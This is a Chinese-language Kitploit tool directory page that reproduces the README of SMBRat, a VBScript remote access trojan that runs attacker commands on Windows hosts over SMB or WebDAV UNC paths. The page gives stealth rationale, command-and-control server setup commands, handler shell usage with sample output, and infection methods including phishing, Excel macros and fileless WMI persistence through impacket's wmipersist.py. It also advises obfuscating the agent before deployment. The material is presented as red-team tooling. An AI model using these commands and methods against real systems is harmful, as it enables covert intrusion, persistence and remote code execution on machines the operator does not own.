Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
SMBRat — 一款使用 Visual Basic 编写的 Windows 远程管理工具,支持 UNC 路径。 | Kitploit
工具/GitHubGitHub/operatorequals/smbrat
钓鱼工具Payload生成持久化机制漏洞利用横向移动Shellcode后渗透利用渗透测试命令与控制红队远程访问工具
GitHub
221237年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
operatorequals/smbrat

SMBRat

一款使用 Visual Basic 编写的 Windows 远程管理工具,支持 UNC 路径。

查看仓库

SMBRat

一个基于 Visual Basic Script 的 Windows 远程管理工具

理念

在 Active Directory 网络等 Windows 环境 中,SMB 流量会变得非常臃肿。

所有主机都会从 SYSVOL 获取 策略,配置需要远程文件才能工作,桌面快捷方式通常指向 \\something\else\in\the\network.exe。

没有人会注意到多一次连接尝试。对吧?

- 尤其是当它成功时(通常只监控防火墙 拒绝 事件已成为一种时尚)

组成部分

代理

便于文档/归档

agent 是一个运行在受感染主机上的 Visual Basic 脚本,它会连接到 SMB 服务器。它在那里创建一个以主机 hostname 和主 MAC 地址命名的目录(同时力求唯一性和信息性,便于报告)。所有针对受感染主机的命令和信息都将存储在此目录中。压缩整个共享文件夹即可归档所有项目信息!

隐蔽性

它不使用驱动器字母来挂载共享,而是使用 UNC 路径 直接读取远程文件(explorer.exe 中不会创建驱动器)。

它还将 UNC 路径 注入到自身执行环境的 %PATH% 变量中(你可以直接从 Linux 机器的文件系统运行可执行文件)。

代理的执行

agent 配置为仅运行一次。无状态。

其流程(大致)如下:

  • 它在 SMB 共享 中创建的文件夹内查找名为 exec.dat 的文件
  • 如果找到该文件,则读取其内容并通过 cmd.exe /c <command> 将其作为命令执行,类似于半交互式 shell。
  • 命令的响应存储在 output.dat 中(位于 exec.dat 旁边)。
  • 删除 exec.dat 文件。
设置代理的 Wiki 页面

处理程序

handler 需要一个 SMB 服务器 才能工作。来自 Core Security 的 impacket 包的 smbserver.py 模块即可。

很可能 smbd 也能胜任,但尚未测试。

设置 SMB 服务器

需要一个名为 D$ 的共享,使其看起来像合法的 Windows 主机的 SMB。

root@kitploit:~
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

WebDAV 方案!

由于 agent 仅配置为使用 UNC 路径,因此 零改动 的情况下也可以使用 WebDAV。 可以使用 WebDAV 服务器 代替 SMB 服务器(一个支持 SSL 的优秀 WebDAV 服务器是 wsgidav)。

root@kitploit:~
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO    :  WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO    :  Lock manager:      LockManager(LockStorageDict)
[...] INFO    :  Property manager:  None
[...] INFO    :  Domain controller: SimpleDomainController()
[...] INFO    :  Registered DAV providers by route:
[...] INFO    :    - '/:dir_browser': FilesystemProvider for path '/root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
[...] INFO    :    - '/': FilesystemProvider for path '/tmp/DAV' (Read-Write) (anonymous)
[...] WARNING :  Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING :  Share '/:dir_browser' will allow anonymous read access.
[...] WARNING :  Share '/' will allow anonymous write access.
[...] INFO    :  Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO    :  Serving on http://0.0.0.0:80 ...

[...] INFO    :  192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] "PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat" length=0, depth=0, elap=0.004sec -> 207 Multi-Status

对于 SSL 支持,UNC 路径需稍微更改,从:

root@kitploit:~
\\<Server-IP>\DIR\

改为:

root@kitploit:~
\\<Server-IP>@SSL@443\DIR\

此更改仅需在 agent.vbs 变量 ServerName 中进行,因为所有路径都由该变量构建。 请注意,SSL 证书必须由运行 agent 的系统信任。自签名证书将失败并发出警告。

感染方案

通过文件感染主机

可以在 agent.vbs 文件开头添加一个 While 循环,并设置多秒的延迟语句(10 秒是理想值),那么它就能通过双击/钓鱼/Excel 宏等方式感染 Windows 主机。

在 VBS 中,一个包含 1 秒延迟的 while True 循环如下所示:

root@kitploit:~
Do While True
	[...]
	WScript.Sleep 1000
Loop

无文件 感染主机

然而,如果 Windows 主机启用了 RPC,则可以通过 WMI 和出色的 impacket 包示例,使用类似以下命令将 VBS 文件作为无文件恶意软件安装:

root@kitploit:~
$ examples/wmipersist.py '<username>:<password>@<hostname/ipaddress>' install -vbs agent.vbs -name smbrat -timer 10

还可以利用本地访问的 WMI 工具将 agent.vbs 作为无文件恶意软件安装。

混淆?

Visual Basic 脚本可以很好地进行混淆、base64 编码以及压缩。

在“部署”之前给它“转转”会非常方便 😉

  • VBS 混淆在线工具
  • Github 仓库

SMB 共享 中的目录结构

绝不要在共享文件夹中手动创建文件夹

基本用法

在撰写本文时,尚未实现 Handler shell, 因此可以通过使用像 watch 这样的命令来检查 output.dat 文件:

root@kitploit:~
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/output.dat

并使用 echo 向 exec.dat 文件写入内容:

root@kitploit:~
$ echo 'whoami /all' > Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/exec.dat

handler.py

实验性 shell 的工作方式如下:

root@kitploit:~
$ python handler.py Share/
SMBRat> 
# 当有新主机被感染时:
[+] Agent "DESKTOP-EG4OE7J" (00:0C:29:2B:9F:AF) just checked-in for Project: "projectName"

SMBRat> execall whoami /user

[>] Sending 'whoami /user' to "projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF" ...
		
SMBRat> 
[<] Response from 'projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF': 


USER INFORMATION
----------------

User Name           SID     
=================== ========
nt authority\system S-1-5-18

^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat> 
				

突出的陷阱

SMBv1 未加密:

root@kitploit:~
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

[...]

15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)

E...,E@[email protected].../.../....8
.&Mi~.6P..>.......[.SMB........................
.@............ .;........... .net localgroup "administrators"

[...]

15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)

E...E.@......./.../..8..i~..
.'*P....b.......SMB2......................

.F..z.....(...........z.D.........}..........\.p.r.o.j.e.c.t.N.a.m.e.\.D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F.\.o.u.t.p.u.t...d.a.t...

[...]

15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)

[email protected]../.../..8..i~. 
.).P....*.....T.SMB........................
.T....$.......'..$.Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.

[...]

如果使用 SMBv1 服务器(例如 impacket 的 smbserver.py),流量(文件内容和路径)将以明文传输。

  • 加密/混淆层可以彻底解决此问题!

整个共享对所有人可读/写:

所有代理都可以修改整个共享中的文件。这意味着它们可以修改其他代理的 exec.dat…… smbmap 会揭示这一点:

root@kitploit:~
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445	Name: Deskjet-4540                                      
	Disk                                                  	Permissions
	----                                                  	-----------
	D$                                                	READ, WRITE
	[!] Unable to remove test directory at \\172.16.47.189\D$\SVNRmxBFAO, plreae remove manually
	IPC$                                              	READ, WRITE
	[!] Unable to remove test directory at \\172.16.47.189\IPC$\SVNRmxBFAO, plreae remove manually

注意 smbmap 缺少 -u 和 -p 参数。

这是一个 NULL 会话(类似于 FTP 匿名登录)。每个人都可以更改共享文件,并在所有受感染机器上获得远程代码执行权限。

  • 最好在这里启动一些 iptables……

会话不是交互式的

输入 execall netsh,你就会失去所有代理。没有一个会响应,因为 agent.vbs 会生成 netsh.exe shell,并等待其终止,以便将其内容写入 output.dat。但猜猜怎么着……它不会终止……它会挂在 netsh> 提示符下,指向虚空。

下载工具